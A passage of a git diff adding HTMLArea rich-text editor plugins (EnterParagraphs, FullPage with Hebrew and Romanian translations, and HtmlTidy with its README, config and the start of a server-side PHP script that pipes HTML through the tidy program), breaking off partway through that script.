+  height: 18px;
+}
+
+div.htmlarea-context-menu tr.item td.icon {
+  padding: 0px 3px;
+  height: 18px;
+  background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.item td.label {
+  padding: 1px 10px 1px 3px;
+}
+
+div.htmlarea-context-menu tr.separator td {
+  padding: 2px 0px;
+}
+
+div.htmlarea-context-menu tr.separator td div {
+  border-top: 1px solid #aca899;
+  overflow: hidden;
+  position: relative;
+}
+
+div.htmlarea-context-menu tr.separator td.icon {
+  background-color: #cdf;
+}
+
+div.htmlarea-context-menu tr.separator td.icon div {
+/*  margin-left: 3px; */
+  border-color: #fff;
+}
+
+div.htmlarea-context-menu tr.separator td.label div {
+  margin-right: 3px;
+}
+
+div.htmlarea-context-menu tr.item.hover {
+  background-color: #316ac5;
+  color: #fff;
+}
+
+div.htmlarea-context-menu tr.item.hover td.icon {
+  background-color: #619af5;
+}
diff --git a/admin/htmlarea/plugins/EnterParagraphs/enter-paragraphs.js b/admin/htmlarea/plugins/EnterParagraphs/enter-paragraphs.js
new file mode 100755 (executable)
index 0000000..c9a768d
--- /dev/null
@@ -0,0 +1,204 @@
+// Modification to htmlArea to insert Paragraphs instead of
+// linebreaks, under Gecko engines, circa January 2004
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function EnterParagraphs(editor, params) {
+       this.editor = editor;
+       // activate only if we're talking to Gecko
+       if (HTMLArea.is_gecko)
+               this.onKeyPress = this.__onKeyPress;
+};
+
+EnterParagraphs._pluginInfo = {
+       name          : "EnterParagraphs",
+       version       : "1.0",
+       developer     : "Adam Wright",
+       developer_url : "http://blog.hipikat.org/",
+       sponsor       : "The University of Western Australia",
+       sponsor_url   : "http://www.uwa.edu.au/",
+       license       : "htmlArea"
+};
+
+// An array of elements who, in html4, by default, have an inline display and can have children
+// we use RegExp here since it should be a bit faster, also cleaner to check
+EnterParagraphs.prototype._html4_inlines_re = /^(a|abbr|acronym|b|bdo|big|cite|code|dfn|em|font|i|kbd|label|q|s|samp|select|small|span|strike|strong|sub|sup|textarea|tt|u|var)$/i;
+
+// Finds the first parent element of a given node whose display is probably not inline
+EnterParagraphs.prototype.parentBlock = function(node) {
+       while (node.parentNode && (node.nodeType != 1 || this._html4_inlines_re.test(node.tagName)))
+               node = node.parentNode;
+       return node;
+};
+
+// Internal function for recursively itterating over a all nodes in a fragment
+// If a callback function returns a non-null value, that is returned and the crawl is therefore broken
+EnterParagraphs.prototype.walkNodeChildren = function(me, callback) {
+       if (me.firstChild) {
+               var myChild = me.firstChild;
+               var retVal;
+               while (myChild) {
+                       if ((retVal = callback(this, myChild)) != null)
+                               return retVal;
+                       if ((retVal = this.walkNodeChildren(myChild, callback)) != null)
+                               return retVal;
+                       myChild = myChild.nextSibling;
+               }
+       }
+};
+
+// Callback function to be performed on each node in the hierarchy
+// Sets flag to true if we find actual text or an element that's not usually displayed inline
+EnterParagraphs.prototype._isFilling = function(self, node) {
+       if (node.nodeType == 1 && !self._html4_inlines_re.test(node.nodeName))
+               return true;
+       else if (node.nodeType == 3 && node.nodeValue != '')
+               return true;
+       return null;
+       //alert(node.nodeName);
+};
+
+// Inserts a node deeply on the left of a hierarchy of nodes
+EnterParagraphs.prototype.insertDeepLeftText = function(target, toInsert) {
+       var falling = target;
+       while (falling.firstChild && falling.firstChild.nodeType == 1)
+               falling = falling.firstChild;
+       //var refNode = falling.firstChild ? falling.firstChild : null;
+       //falling.insertBefore(toInsert, refNode);
+       falling.innerHTML = toInsert;
+};
+
+// Kind of like a macros, for a frequent query...
+EnterParagraphs.prototype.isElem = function(node, type) {
+       return node.nodeName.toLowerCase() == type.toLowerCase();
+};
+
+// The onKeyPress even that does all the work - nicely breaks the line into paragraphs
+EnterParagraphs.prototype.__onKeyPress = function(ev) {
+
+       if (ev.keyCode == 13 && !ev.shiftKey && this.editor._iframe.contentWindow.getSelection) {
+
+               var editor = this.editor;
+
+               // Get the selection and solid references to what we're dealing with chopping
+               var sel = editor._iframe.contentWindow.getSelection();
+
+               // Set the start and end points such that they're going /forward/ through the document
+               var rngLeft = editor._doc.createRange();                var rngRight = editor._doc.createRange();
+               rngLeft.setStart(sel.anchorNode, sel.anchorOffset);     rngRight.setStart(sel.focusNode, sel.focusOffset);
+               rngLeft.collapse(true);                                 rngRight.collapse(true);
+
+               var direct = rngLeft.compareBoundaryPoints(rngLeft.START_TO_END, rngRight) < 0;
+
+               var startNode = direct ? sel.anchorNode : sel.focusNode;
+               var startOffset = direct ? sel.anchorOffset : sel.focusOffset;
+               var endNode = direct ? sel.focusNode : sel.anchorNode;
+               var endOffset = direct ? sel.focusOffset : sel.anchorOffset;
+
+               // Find the parent blocks of nodes at either end, and their attributes if they're paragraphs
+               var startBlock = this.parentBlock(startNode);           var endBlock = this.parentBlock(endNode);
+               var attrsLeft = new Array();                            var attrsRight = new Array();
+
+               // If a list, let the browser take over, if we're in a paragraph, gather it's attributes
+               if (this.isElem(startBlock, 'li') || this.isElem(endBlock, 'li'))
+                       return;
+
+               if (this.isElem(startBlock, 'p')) {
+                       for (var i = 0; i < startBlock.attributes.length; i++) {
+                               attrsLeft[startBlock.attributes[i].nodeName] = startBlock.attributes[i].nodeValue;
+                       }
+               }
+               if (this.isElem(endBlock, 'p')) {
+                       for (var i = 0; i < endBlock.attributes.length; i++) {
+                               // If we start and end within one paragraph, don't duplicate the 'id'
+                               if (endBlock != startBlock || endBlock.attributes[i].nodeName.toLowerCase() != 'id')
+                                       attrsRight[endBlock.attributes[i].nodeName] = endBlock.attributes[i].nodeValue;
+                       }
+               }
+
+               // Look for where to start and end our chopping - within surrounding paragraphs
+               // if they exist, or at the edges of the containing block, otherwise
+               var startChop = startNode;                              var endChop = endNode;
+
+               while ((startChop.previousSibling && !this.isElem(startChop.previousSibling, 'p'))
+                      || (startChop.parentNode && startChop.parentNode != startBlock && startChop.parentNode.nodeType != 9))
+                       startChop = startChop.previousSibling ? startChop.previousSibling : startChop.parentNode;
+
+               while ((endChop.nextSibling && !this.isElem(endChop.nextSibling, 'p'))
+                      || (endChop.parentNode && endChop.parentNode != endBlock && endChop.parentNode.nodeType != 9))
+                       endChop = endChop.nextSibling ? endChop.nextSibling : endChop.parentNode;
+
+               // Set up new paragraphs
+               var pLeft = editor._doc.createElement('p');             var pRight = editor._doc.createElement('p');
+
+               for (var attrName in attrsLeft) {
+                       var thisAttr = editor._doc.createAttribute(attrName);
+                       thisAttr.value = attrsLeft[attrName];
+                       pLeft.setAttributeNode(thisAttr);
+               }
+               for (var attrName in attrsRight) {
+                       var thisAttr = editor._doc.createAttribute(attrName);
+                       thisAttr.value = attrsRight[attrName];
+                       pRight.setAttributeNode(thisAttr);
+               }
+
+               // Get the ranges destined to be stuffed into new paragraphs
+               rngLeft.setStartBefore(startChop);
+               rngLeft.setEnd(startNode,startOffset);
+               pLeft.appendChild(rngLeft.cloneContents());             // Copy into pLeft
+
+               rngRight.setEndAfter(endChop);
+               rngRight.setStart(endNode,endOffset);
+               pRight.appendChild(rngRight.cloneContents());           // Copy into pRight
+
+               // If either paragraph is empty, fill it with a nonbreakable space
+               var foundBlock = false;
+               foundBlock = this.walkNodeChildren(pLeft, this._isFilling);
+               if (foundBlock != true)
+                       this.insertDeepLeftText(pLeft, '&nbsp;');
+
+               foundBlock = false;
+               foundBlock = this.walkNodeChildren(pRight, this._isFilling);
+               if (foundBlock != true)
+                       this.insertDeepLeftText(pRight, '&nbsp;');
+
+               // Get a range for everything to be replaced and replace it
+               var rngAround = editor._doc.createRange();
+
+               if (!startChop.previousSibling && this.isElem(startChop.parentNode, 'p'))
+                       rngAround.setStartBefore(startChop.parentNode);
+               else
+                       rngAround.setStart(rngLeft.startContainer, rngLeft.startOffset);
+
+               if (!endChop.nextSibling && this.isElem(endChop.parentNode, 'p'))
+                       rngAround.setEndAfter(endChop.parentNode);
+               else
+                       rngAround.setEnd(rngRight.endContainer, rngRight.endOffset);
+
+               rngAround.deleteContents();
+               rngAround.insertNode(pRight);
+               rngAround.insertNode(pLeft);
+
+               // Set the selection to the start of the (second) new paragraph
+               if (pRight.firstChild) {
+                       while (pRight.firstChild && this._html4_inlines_re.test(pRight.firstChild.nodeName))
+                               pRight = pRight.firstChild;
+                       // Slip into any inline tags
+                       if (pRight.firstChild && pRight.firstChild.nodeType == 3)
+                               pRight = pRight.firstChild;     // and text, if they've got it
+
+                       var rngCaret = editor._doc.createRange();
+                       rngCaret.setStart(pRight, 0);
+                       rngCaret.collapse(true);
+
+                       sel = editor._iframe.contentWindow.getSelection();
+                       sel.removeAllRanges();
+                       sel.addRange(rngCaret);
+               }
+
+               // Stop the bubbling
+               HTMLArea._stopEvent(ev);
+       }
+};
diff --git a/admin/htmlarea/plugins/FullPage/full-page.js b/admin/htmlarea/plugins/FullPage/full-page.js
new file mode 100755 (executable)
index 0000000..d0a69a9
--- /dev/null
@@ -0,0 +1,143 @@
+// FullPage Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon.  Sponsored by http://thycotic.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+//   http://dynarch.com/mishoo
+//
+// $Id: full-page.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function FullPage(editor) {
+       this.editor = editor;
+
+       var cfg = editor.config;
+       cfg.fullPage = true;
+       var tt = FullPage.I18N;
+       var self = this;
+
+       cfg.registerButton("FP-docprop", tt["Document properties"], editor.imgURL("docprop.gif", "FullPage"), false,
+                          function(editor, id) {
+                                  self.buttonPress(editor, id);
+                          });
+
+       // add a new line in the toolbar
+       cfg.toolbar[0].splice(0, 0, "separator");
+       cfg.toolbar[0].splice(0, 0, "FP-docprop");
+};
+
+FullPage._pluginInfo = {
+       name          : "FullPage",
+       version       : "1.0",
+       developer     : "Mihai Bazon",
+       developer_url : "http://dynarch.com/mishoo/",
+       c_owner       : "Mihai Bazon",
+       sponsor       : "Thycotic Software Ltd.",
+       sponsor_url   : "http://thycotic.com",
+       license       : "htmlArea"
+};
+
+FullPage.prototype.buttonPress = function(editor, id) {
+       var self = this;
+       switch (id) {
+           case "FP-docprop":
+               var doc = editor._doc;
+               var links = doc.getElementsByTagName("link");
+               var style1 = '';
+               var style2 = '';
+               for (var i = links.length; --i >= 0;) {
+                       var link = links[i];
+                       if (/stylesheet/i.test(link.rel)) {
+                               if (/alternate/i.test(link.rel))
+                                       style2 = link.href;
+                               else
+                                       style1 = link.href;
+                       }
+               }
+               var title = doc.getElementsByTagName("title")[0];
+               title = title ? title.innerHTML : '';
+               var init = {
+                       f_doctype      : editor.doctype,
+                       f_title        : title,
+                       f_body_bgcolor : HTMLArea._colorToRgb(doc.body.style.backgroundColor),
+                       f_body_fgcolor : HTMLArea._colorToRgb(doc.body.style.color),
+                       f_base_style   : style1,
+                       f_alt_style    : style2,
+
+                       editor         : editor
+               };
+               editor._popupDialog("plugin://FullPage/docprop", function(params) {
+                       self.setDocProp(params);
+               }, init);
+               break;
+       }
+};
+
+FullPage.prototype.setDocProp = function(params) {
+       var txt = "";
+       var doc = this.editor._doc;
+       var head = doc.getElementsByTagName("head")[0];
+       var links = doc.getElementsByTagName("link");
+       var style1 = null;
+       var style2 = null;
+       for (var i = links.length; --i >= 0;) {
+               var link = links[i];
+               if (/stylesheet/i.test(link.rel)) {
+                       if (/alternate/i.test(link.rel))
+                               style2 = link;
+                       else
+                               style1 = link;
+               }
+       }
+       function createLink(alt) {
+               var link = doc.createElement("link");
+               link.rel = alt ? "alternate stylesheet" : "stylesheet";
+               head.appendChild(link);
+               return link;
+       };
+
+       if (!style1 && params.f_base_style)
+               style1 = createLink(false);
+       if (params.f_base_style)
+               style1.href = params.f_base_style;
+       else if (style1)
+               head.removeChild(style1);
+
+       if (!style2 && params.f_alt_style)
+               style2 = createLink(true);
+       if (params.f_alt_style)
+               style2.href = params.f_alt_style;
+       else if (style2)
+               head.removeChild(style2);
+
+       for (var i in params) {
+               var val = params[i];
+               switch (i) {
+                   case "f_title":
+                       var title = doc.getElementsByTagName("title")[0];
+                       if (!title) {
+                               title = doc.createElement("title");
+                               head.appendChild(title);
+                       } else while (node = title.lastChild)
+                               title.removeChild(node);
+                       if (!HTMLArea.is_ie)
+                               title.appendChild(doc.createTextNode(val));
+                       else
+                               doc.title = val;
+                       break;
+                   case "f_doctype":
+                       this.editor.setDoctype(val);
+                       break;
+                   case "f_body_bgcolor":
+                       doc.body.style.backgroundColor = val;
+                       break;
+                   case "f_body_fgcolor":
+                       doc.body.style.color = val;
+                       break;
+               }
+       }
+};
diff --git a/admin/htmlarea/plugins/FullPage/img/docprop.gif b/admin/htmlarea/plugins/FullPage/img/docprop.gif
new file mode 100755 (executable)
index 0000000..ff08591
Binary files /dev/null and b/admin/htmlarea/plugins/FullPage/img/docprop.gif differ
diff --git a/admin/htmlarea/plugins/FullPage/img/makefile.xml b/admin/htmlarea/plugins/FullPage/img/makefile.xml
new file mode 100755 (executable)
index 0000000..b25815d
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.{gif,jpg,jpeg}" />
+</files>
diff --git a/admin/htmlarea/plugins/FullPage/lang/en.js b/admin/htmlarea/plugins/FullPage/lang/en.js
new file mode 100755 (executable)
index 0000000..50b6823
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+FullPage.I18N = {
+       "Alternate style-sheet:":               "Alternate style-sheet:",
+       "Background color:":                    "Background color:",
+       "Cancel":                               "Cancel",
+       "DOCTYPE:":                             "DOCTYPE:",
+       "Document properties":                  "Document properties",
+       "Document title:":                      "Document title:",
+       "OK":                                   "OK",
+       "Primary style-sheet:":                 "Primary style-sheet:",
+       "Text color:":                          "Text color:"
+};
diff --git a/admin/htmlarea/plugins/FullPage/lang/he.js b/admin/htmlarea/plugins/FullPage/lang/he.js
new file mode 100755 (executable)
index 0000000..94f3888
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N for the FullPage plugin\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+FullPage.I18N = {\r\r
+       "Alternate style-sheet:":               "גיליון סגנון אחר:",\r\r
+       "Background color:":                    "צבע רקע:",\r\r
+       "Cancel":                               "ביטול",\r\r
+       "DOCTYPE:":                             "DOCTYPE:",\r\r
+       "Document properties":                  "מאפייני מסמך",\r\r
+       "Document title:":                      "כותרת מסמך:",\r\r
+       "OK":                                   "אישור",\r\r
+       "Primary style-sheet:":                 "גיליון סגנון ראשי:",\r\r
+       "Text color:":                          "צבע טקסט:"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/FullPage/lang/makefile.xml b/admin/htmlarea/plugins/FullPage/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/FullPage/lang/ro.js b/admin/htmlarea/plugins/FullPage/lang/ro.js
new file mode 100755 (executable)
index 0000000..f43c8e1
--- /dev/null
@@ -0,0 +1,25 @@
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+FullPage.I18N = {
+       "Alternate style-sheet:":               "Template CSS alternativ:",
+       "Background color:":                    "Culoare de fundal:",
+       "Cancel":                               "Renunţă",
+       "DOCTYPE:":                             "DOCTYPE:",
+       "Document properties":                  "Proprietăţile documentului",
+       "Document title:":                      "Titlul documentului:",
+       "OK":                                   "Acceptă",
+       "Primary style-sheet:":                 "Template CSS principal:",
+       "Text color:":                          "Culoare text:"
+};
diff --git a/admin/htmlarea/plugins/FullPage/makefile.xml b/admin/htmlarea/plugins/FullPage/makefile.xml
new file mode 100755 (executable)
index 0000000..f1ad628
--- /dev/null
@@ -0,0 +1,8 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+  <dir name="img" />
+  <dir name="popups" />
+</files>
+
diff --git a/admin/htmlarea/plugins/FullPage/popups/docprop.html b/admin/htmlarea/plugins/FullPage/popups/docprop.html
new file mode 100755 (executable)
index 0000000..ee00e2d
--- /dev/null
@@ -0,0 +1,131 @@
+<html>
+
+<head>
+  <title>Document properties</title>
+
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+
+<script type="text/javascript">
+
+FullPage = window.opener.FullPage; // load the FullPage plugin and lang file ;-)
+window.resizeTo(400, 100);
+
+  var accepted = {
+      f_doctype       : true,
+      f_title         : true,
+      f_body_bgcolor  : true,
+      f_body_fgcolor  : true,
+      f_base_style    : true,
+      f_alt_style     : true
+  };
+
+var editor = null;
+function Init() {
+  __dlg_translate(FullPage.I18N);
+  __dlg_init();
+  var params = window.dialogArguments;
+  for (var i in params) {
+      if (i in accepted) {
+        var el = document.getElementById(i);
+        el.value = params[i];
+      }
+  }
+  editor = params.editor;
+  document.getElementById("f_title").focus();
+  document.getElementById("f_title").select();
+};
+
+function onOK() {
+  var required = {
+  };
+  for (var i in required) {
+    var el = document.getElementById(i);
+    if (!el.value) {
+      alert(required[i]);
+      el.focus();
+      return false;
+    }
+  }
+
+  var param = {};
+  for (var i in accepted) {
+    var el = document.getElementById(i);
+    param[i] = el.value;
+  }
+  __dlg_close(param);
+  return false;
+};
+
+function onCancel() {
+  __dlg_close(null);
+  return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+  background: ButtonFace;
+  color: ButtonText;
+  font: 11px Tahoma,Verdana,sans-serif;
+  margin: 0px;
+  padding: 0px;
+}
+body { padding: 5px; }
+table {
+  font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 12em; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+
+#buttons {
+      margin-top: 1em; border-top: 1px solid #999;
+      padding: 2px; text-align: right;
+}
+</style>
+
+  </head>
+
+  <body onload="Init()">
+
+    <div class="title"><span>Document properties</span></div>
+
+    <table style="width: 100%">
+      <tr>
+        <td class="label"><span>Document title:</span></td>
+        <td><input type="text" id="f_title" style="width: 100%" /></td>
+      </tr>
+      <tr>
+        <td class="label"><span>DOCTYPE:</span></td>
+        <td><input type="text" id="f_doctype" style="width: 100%" /></td>
+      </tr>
+      <tr>
+        <td class="label"><span>Primary style-sheet:</span></td>
+        <td><input type="text" id="f_base_style" style="width: 100%" /></td>
+      </tr>
+      <tr>
+        <td class="label"><span>Alternate style-sheet:</span></td>
+        <td><input type="text" id="f_alt_style" style="width: 100%" /></td>
+      </tr>
+      <tr>
+        <td class="label"><span>Background color:</span></td>
+        <td><input type="text" id="f_body_bgcolor" size="7" /></td>
+      </tr>
+      <tr>
+        <td class="label"><span>Text color:</span></td>
+        <td><input type="text" id="f_body_fgcolor" size="7" /></td>
+      </tr>
+    </table>
+
+    <div id="buttons">
+      <button type="button" name="ok" onclick="return onOK();"><span>OK</span></button>
+      <button type="button" name="cancel" onclick="return onCancel();"><span>Cancel</span></button>
+    </div>
+
+  </body>
+</html>
diff --git a/admin/htmlarea/plugins/FullPage/popups/makefile.xml b/admin/htmlarea/plugins/FullPage/popups/makefile.xml
new file mode 100755 (executable)
index 0000000..d2200af
--- /dev/null
@@ -0,0 +1,4 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+</files>
+
diff --git a/admin/htmlarea/plugins/FullPage/test.html b/admin/htmlarea/plugins/FullPage/test.html
new file mode 100755 (executable)
index 0000000..ad4be93
--- /dev/null
@@ -0,0 +1,89 @@
+<html>
+  <head>
+    <title>Test of FullPage plugin</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <script type="text/javascript">
+      _editor_url = "../../";
+    </script>
+
+    <!-- load the main HTMLArea files -->
+    <script type="text/javascript" src="../../htmlarea.js"></script>
+    <script type="text/javascript" src="../../lang/en.js"></script>
+    <script type="text/javascript" src="../../dialog.js"></script>
+
+    <!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+    <script type="text/javascript" src="../../popupwin.js"></script>
+
+    <script type="text/javascript">
+      HTMLArea.loadPlugin("TableOperations");
+      HTMLArea.loadPlugin("SpellChecker");
+      HTMLArea.loadPlugin("FullPage");
+
+      function initDocument() {
+        var editor = new HTMLArea("editor");
+        editor.registerPlugin(TableOperations);
+        editor.registerPlugin(SpellChecker);
+        editor.registerPlugin(FullPage);
+        editor.generate();
+      }
+    </script>
+
+    <style type="text/css">
+      @import url(../../htmlarea.css);
+    </style>
+
+  </head>
+
+  <body onload="initDocument()">
+    <h1>Test of FullPage plugin</h1>
+
+    <textarea id="editor" style="height: 30em; width: 100%;">
+      &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&gt;
+      &lt;html&gt;
+        &lt;head&gt;
+          &lt;title&gt;FullPage plugin for HTMLArea&lt;/title&gt;
+          &lt;link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" /&gt;
+          &lt;link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" /&gt;
+        &lt;/head&gt;
+        &lt;body style="background-color: #ddddee; color: #000077;"&gt;
+          &lt;table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0"&gt;
+            &lt;tr&gt;
+              &lt;td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;"&gt;
+                FullPage plugin
+              &lt;/td&gt;
+            &lt;/tr&gt;
+            &lt;tr&gt;
+              &lt;td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;"&gt;
+                &lt;p&gt;
+                  This plugin enables one to edit a full HTML file in &lt;a
+                    href="http://dynarch.com/htmlarea/"&gt;HTMLArea&lt;/a&gt;.  This is not
+                  normally possible with just the core editor since it only
+                  retrieves the HTML inside the &lt;code&gt;body&lt;/code&gt; tag.
+                &lt;/p&gt;
+                &lt;p&gt;
+                  It provides the ability to change the &lt;code&gt;DOCTYPE&lt;/code&gt; of
+                  the document, &lt;code&gt;body&lt;/code&gt; &lt;code&gt;bgcolor&lt;/code&gt; and
+                  &lt;code&gt;fgcolor&lt;/code&gt; attributes as well as to add additional
+                  &lt;code&gt;link&lt;/code&gt;-ed stylesheets.  Cool, eh?
+                &lt;/p&gt;
+                &lt;p&gt;
+                  The development of this plugin was initiated and sponsored by
+                  &lt;a href="http://thycotic.com"&gt;Thycotic Software Ltd.&lt;/a&gt;.
+                  That's also cool, isn't it? ;-)
+                &lt;/p&gt;
+              &lt;/td&gt;
+            &lt;/tr&gt;
+          &lt;/table&gt;
+        &lt;/body&gt;
+      &lt;/html&gt;
+    </textarea>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct  1 19:55:37 EEST 2003 -->
+<!-- hhmts start -->
+Last modified on Sat Oct 25 01:06:59 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/plugins/HtmlTidy/README b/admin/htmlarea/plugins/HtmlTidy/README
new file mode 100755 (executable)
index 0000000..a3e19f2
--- /dev/null
@@ -0,0 +1,104 @@
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+//   Email:      zeno@ucc.gu.uwa.edu.au
+//   Homepage:   http://blog.hipikat.org/
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// Version: 0.5
+// Released to the outside world: 04/03/04
+
+
+HtmlTidy is a plugin for the popular cross-browser TTY WYSIWYG editor,
+htmlArea (http://www.interactivetools.com/products/htmlarea/). HtmlTidy
+basically queries HTML Tidy (http://tidy.sourceforge.net/) on the
+server side, getting it to make-html-nice, instead of relying on masses
+of javascript, which the client would have to download.
+
+Hi, this is a quick explanation of how to install HtmlTidy. Much better
+documentation is probably required, and you're welcome to write it :)
+
+
+* The HtmlTidy directory you should have found this file in should
+  include the following:
+
+  - README
+        This file, providing help installing the plugin.
+
+  - html-tidy-config.cfg
+        This file contains the configuration options HTML Tidy uses to
+        clean html, and can be modified to suit your organizations
+        requirements.
+
+  - html-tidy-logic.php
+        This is the php script, which is queried with dirty html and is
+        responsible for invoking HTML Tidy, getting nice new html and
+        returning it to the client.
+
+  - html-tidy.js
+        The main htmlArea plugin, providing functionality to tidy html
+        through the htmlArea interface.
+
+  - htmlarea.js.onmode_event.diff
+        At the time of publishing, an extra event handler was required
+        inside the main htmlarea.js file. htmlarea.js may be patched
+        against this file to make the changes reuquired, but be aware
+        that the event handler may either now be in the core or
+        htmlarea.js may have changed enough to invalidate the patch.
+       
+       UPDATE: now it exists in the official htmlarea.js; applying
+       this patch is thus no longer necessary.
+
+  - img/html-tidy.gif
+        The HtmlTidy icon, for the htmlArea toolbar. Created by Dan
+        Petty for The University of Western Australia.
+
+  - lang/en.js
+        English language file. Add your own language files here and
+        please contribute back into the htmlArea community!
+
+  The HtmlArea directory should be extracted to your htmlarea/plugins/
+  directory.
+
+
+* Make sure the onMode event handler mentioned above, regarding
+  htmlarea.js.onmode_event.diff, exists in your htmlarea.js
+
+
+* html-tidy-logic.php should be executable, and your web server should
+  be configured to execute php scripts in the directory
+  html-tidy-logic.php exists in.
+
+
+* HTML Tidy needs to be installed on your server, and 'tidy' should be
+  an alias to it, lying in the PATH known to the user executing such
+  web scripts.
+
+
+* In your htmlArea configuration, do something like this:
+
+    HTMLArea.loadPlugin("HtmlTidy");
+
+    editor = new HTMLArea("doc");
+    editor.registerPlugin("HtmlTidy");
+
+
+* Then, in your htmlArea toolbar configuration, use:
+
+    - "HT-html-tidy"
+        This will create the 'tidy broom' icon on the toolbar, which
+        will attempt to tidy html source when clicked, and;
+
+    - "HT-auto-tidy"
+        This will create an "Auto Tidy" / "Don't Tidy" dropdown, to
+        select whether the source should be tidied automatically when
+        entering source view. On by default, if you'd like it otherwise
+        you can do so programatically after generating the toolbar :)
+        (Or just hack it to be otherwise...)
+    
+
+Thank you.
+
+Any bugs you find can be emailed to zeno@ucc.gu.uwa.edu.au
diff --git a/admin/htmlarea/plugins/HtmlTidy/html-tidy-config.cfg b/admin/htmlarea/plugins/HtmlTidy/html-tidy-config.cfg
new file mode 100755 (executable)
index 0000000..996e1ff
--- /dev/null
@@ -0,0 +1,29 @@
+// Default configuration file for the htmlArea, HtmlTidy plugin
+// By Adam Wright, for The University of Western Australia
+//
+// Evertything you always wanted to know about HTML Tidy *
+// can be found at http://tidy.sourceforge.net/, and a
+// quick reference to the configuration options exists at
+// http://tidy.sourceforge.net/docs/quickref.html
+//
+// * But were afraid to ask
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+word-2000: yes
+clean: no
+drop-font-tags: yes
+doctype: auto
+drop-empty-paras: yes
+drop-proprietary-attributes: yes
+enclose-block-text: yes
+enclose-text: yes
+escape-cdata: yes
+logical-emphasis: yes
+indent: auto
+indent-spaces: 2
+break-before-br: yes
+output-xhtml: yes
+
+force-output: yes
diff --git a/admin/htmlarea/plugins/HtmlTidy/html-tidy-logic.php b/admin/htmlarea/plugins/HtmlTidy/html-tidy-logic.php
new file mode 100755 (executable)
index 0000000..6e17b6d
--- /dev/null
@@ -0,0 +1,83 @@
+<?  ###################################################################
+   ##
+  ##  Plugin for htmlArea, to run code through the server's HTML Tidy
+ ##   By Adam Wright, for The University of Western Australia
+##    This is the server-side script, which dirty code is run through.
+##
+##  Distributed under the same terms as HTMLArea itself.
+##  This notice MUST stay intact for use (see license.txt).
+##
+
+       // Get the original source
+       $source = $_POST['htisource_name'];
+       $source = stripslashes($source);
+
+       // Open a tidy process - I hope it's installed!
+       $descriptorspec = array(
+               0 => array("pipe", "r"),
+               1 => array("pipe", "w"),
+               2 => array("file", "/dev/null", "a")
+       );
+       $process = proc_open("tidy -config html-tidy-config.cfg", $descriptorspec, $pipes);
+
+       // Make sure the program started and we got the hooks...
+       // Either way, get some source code into $source
+       if (is_resource($process)) {
+
+               // Feed untidy source into the stdin
+               fwrite($pipes[0], $source);
+               fclose($pipes[0]);
+
+               // Read clean source out to the browser
